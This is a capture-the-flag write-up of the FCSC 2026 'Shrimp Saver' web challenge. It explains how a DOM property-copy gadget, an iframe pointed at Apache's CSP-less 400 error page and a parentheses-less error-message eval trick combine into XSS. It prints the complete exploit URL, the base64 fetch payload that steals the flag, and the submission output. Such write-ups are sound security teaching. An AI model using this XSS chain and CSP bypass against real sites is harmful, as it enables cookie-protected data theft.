Shrimp Saver [EN]| FCSC 2026

- 5 mins read

Shrimp Saver | FCSC 2026

Challenge

Rien de mieux qu’un petit ecran de veille a base de crustaces pour egayer son poste de travail !

I was given the full source of a Docker stack:

  • Web app, PHP/Apache serving a bouncing-shrimp screensaver page with a nonce-based CSP.
  • Bot, a Puppeteer (headless Chromium 146) service that sets an httpOnly cookie flag_auth on the challenge domain, then visits a user-supplied URL. Every console.log from the browser is forwarded back through the TCP connection.

Goal: Exfiltrate the flag from /flag.php, which requires the bot’s flag_auth cookie.

Source Code Analysis

index.php | Strict CSP

$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: default-src 'self'; connect-src 'self'; script-src 'nonce-$nonce';");

The CSP is very strict: scripts require a per-request random nonce, no 'unsafe-inline', no 'unsafe-eval', no 'self' in script-src. The page loads a single script: <script nonce="..." src="/app.js"></script>.

What’s notably absent from the CSP: base-uri and form-action. But the real gap turns out to be that error responses from Apache (400, 404, etc.) don’t go through index.php and therefore have no CSP headers at all.

app.js | The DOM Property Copy Gadget

var blacklist = ["constructor", "__proto__"];

function resolvePath(obj, parts) {
  let target = obj;
  for (let part of parts) {
    if (blacklist.includes(part)) throw new Error("Blacklisted path part");
    if (target[part] === undefined) throw new Error(`Invalid path ${part}`);
    target = target[part];
  }
  return target;
}

function copy(copyTo, copyFrom) {
  const parts = copyTo.split(".");
  const lastPart = parts.pop();
  const target = resolvePath(document.body, parts);
  const value = resolvePath(document.body, copyFrom.split("."));
  target[lastPart] = value;
}

const searchParams = new URLSearchParams(window.location.search);
for (const [name, value] of searchParams.entries()) {
  copy(name, value);
}

Each URL query parameter triggers a copy(name, value) call that resolves two dot-separated paths from document.body and performs a property assignment. This is an extremely powerful primitive: arbitrary property write on any object reachable from document.body, including window (via ownerDocument.defaultView), all prototypes, and all global constructors.

The blacklist blocks constructor and __proto__, but as we’ll see the exploit doesn’t need them at all.

flag.php | The Target

$secret = getenv('COOKIE_SECRET') ?: 'super_secret_cookie_value_change_me';
if (!isset($_COOKIE['flag_auth']) || $_COOKIE['flag_auth'] !== $secret) {
    http_response_code(403);
    die('This would be nice to see the flag, but you are not authorized to do so.');
}
echo getenv('FLAG') ?: 'FCSC{flag_placeholder}';

Returns the flag only if the flag_auth cookie matches the secret. The cookie is httpOnly + sameSite: Strict, so JavaScript can’t read it. Same-origin fetch() will include it though.

bot.js | The Exfiltration Channel

The bot sets the flag_auth cookie, visits our URL, waits 3 seconds, and relays all console.log output back:

page.on("console", (msg) => {
    console.log(`[T${id}]> console.${msgType} | ${msg.text()}`);
});

Vulnerability Analysis

The copy gadget gives us arbitrary property writes, but the nonce-based CSP blocks all conventional script execution (inline handlers, eval(), javascript: URIs, dynamically created <script> tags).

Ok so basically the breakthrough comes from combining three techniques:

  1. Two-step innerHTML injection to create DOM elements from the URL hash
  2. CSP bypass via an iframe’s error page (Apache’s 400 response has no CSP)
  3. Parentheses-less XSS via error message crafting (terjanq’s technique)

Exploit Chain

Step 1 | Inject an iframe via two-step innerHTML

The URL hash carries an HTML-entity-encoded iframe tag:

#&lt;iframe/name="PAYLOAD"/id="i"/src=%GG&gt;

Two successive copy calls decode it into a real DOM element:

copy("innerHTML", "ownerDocument.defaultView.location.hash")

This sets document.body.innerHTML = "#&lt;iframe...&gt;". The browser renders the HTML entities as visible text, no iframe is created yet, just the decoded string as textContent.

copy("innerHTML", "innerText")

document.body.innerText returns the decoded text: <iframe name="PAYLOAD" id="i" src=%GG>. Setting innerHTML to this string creates a real iframe element.

This looks interesting because the iframe has:

  • id="i", accessible as window.i via named window access
  • name, which carries the JavaScript payload for the error-message trick
  • src=%GG, invalid percent-encoding that triggers a 400 Bad Request from Apache

Step 2 | CSP bypass via the iframe’s error page

src=%GG causes Apache to return a 400 Bad Request. This error response is generated by Apache itself, not by index.php, so it carries no CSP headers.

The iframe’s contentWindow.eval therefore operates in a CSP-free context. That’s the critical bypass enabling arbitrary code execution.

Step 3 | Parentheses-less XSS (terjanq’s technique)

Reference: Arbitrary Parentheses-less XSS

Three more copy calls set up the execution chain:

copy("ownerDocument.defaultView.i.onload", "ownerDocument.defaultView.atob")
copy("ownerDocument.defaultView.onerror", "ownerDocument.defaultView.i.contentWindow.eval")
copy("ownerDocument.defaultView.TypeError.prototype.name", "ownerDocument.defaultView.i.name")

When the iframe finishes loading (even the 400 error page triggers onload):

  1. atob(event) is called. The Event object stringifies to "[object Event]", which is invalid base64. This throws a TypeError.

  2. The uncaught error triggers window.onerror(message, ...) which is set to the iframe’s eval.

  3. Chrome formats the error message as: Uncaught {error.name}: {error.message}. Since we polluted TypeError.prototype.name with the iframe’s name attribute, the message becomes:

Uncaught -eval(atob('base64payload'));var Uncaught//: Failed to execute 'atob'...
  1. When eval() processes this string as JavaScript:
    • var Uncaught is hoisted, so the initial Uncaught reference doesn’t throw a ReferenceError
    • Uncaught - eval(atob('...')) evaluates the subtraction, executing our eval(atob(...)) as a side effect
    • var Uncaught is then a no-op (already hoisted)
    • //: Failed to execute... is a comment, the rest of the error message is ignored

Step 4 | Flag exfiltration

The base64 payload decodes to:

fetch(`/flag.php`).then(r=>r.text()).then(x=>top.console.log(x))

This runs inside the iframe’s CSP-free context. fetch('/flag.php') is same-origin, so the httpOnly cookie is included. The response (the flag) is logged via top.console.log(), which the bot relays back.

Final URL

http://shrimp-saver/?innerHTML=ownerDocument.defaultView.location.hash&innerHTML=innerText&ownerDocument.defaultView.i.onload=ownerDocument.defaultView.atob&ownerDocument.defaultView.onerror=ownerDocument.defaultView.i.contentWindow.eval&ownerDocument.defaultView.TypeError.prototype.name=ownerDocument.defaultView.i.name#&lt;iframe/name=&quot;-eval(atob(&apos;ZmV0Y2goYC9mbGFnLnBocGApLnRoZW4ocj0+ci50ZXh0KCkpLnRoZW4oeD0+dG9wLmNvbnNvbGUubG9nKHgpKQ==&apos;));var/**/Uncaught//&quot;/id=&quot;i&quot;/src=%GG&gt;

Breaking down the 5 query parameters:

# Parameter Effect
1 innerHTML=ownerDocument.defaultView.location.hash Body innerHTML = URL hash (HTML entities as text)
2 innerHTML=innerText Body innerHTML = decoded text (creates the iframe)
3 ...i.onload=...atob iframe onload = atob (triggers error on load)
4 ...onerror=...i.contentWindow.eval window.onerror = iframe’s eval (no CSP)
5 ...TypeError.prototype.name=...i.name Error name = JS payload from iframe name attr

And the URL hash (decoded):

<iframe name="-eval(atob('ZmV0Y2goYC9mbGFnLnBocGApLnRoZW4ocj0+ci50ZXh0KCkpLnRoZW4oeD0+dG9wLmNvbnNvbGUubG9nKHgpKQ=='));var/**/Uncaught//" id="i" src=%GG>

/**/ is used instead of a space in var Uncaught because spaces in HTML attribute values would break the parsing.

Execution

echo 'http://shrimp-saver/?innerHTML=ownerDocument.defaultView.location.hash&innerHTML=innerText&ownerDocument.defaultView.i.onload=ownerDocument.defaultView.atob&ownerDocument.defaultView.onerror=ownerDocument.defaultView.i.contentWindow.eval&ownerDocument.defaultView.TypeError.prototype.name=ownerDocument.defaultView.i.name#&lt;iframe/name=&quot;-eval(atob(&apos;ZmV0Y2goYC9mbGFnLnBocGApLnRoZW4ocj0+ci50ZXh0KCkpLnRoZW4oeD0+dG9wLmNvbnNvbGUubG9nKHgpKQ==&apos;));var/**/Uncaught//&quot;/id=&quot;i&quot;/src=%GG&gt;' \
  | nc challenges.fcsc.fr 2258
Starting the browser...
[T1]> New tab created!
[T1]> navigating        | about:blank

Setting the secret cookie...

The bot is visiting the main page...
[T1]> navigating        | http://shrimp-saver/

Going to the user provided link...
[T1]> navigating        | http://shrimp-saver/?innerHTML=...
[T1]> console.error     | Failed to load resource: the server responded with a status of 400 (Bad Request)
[T1]> console.log       | FCSC{6be5a23fc9b91d39125c3dd1ca72a4c9bfc7119c9482c6fc21b86635ae328662}

Leaving o/
[T1]> Tab closed!

Flag

FCSC{6be5a23fc9b91d39125c3dd1ca72a4c9bfc7119c9482c6fc21b86635ae328662}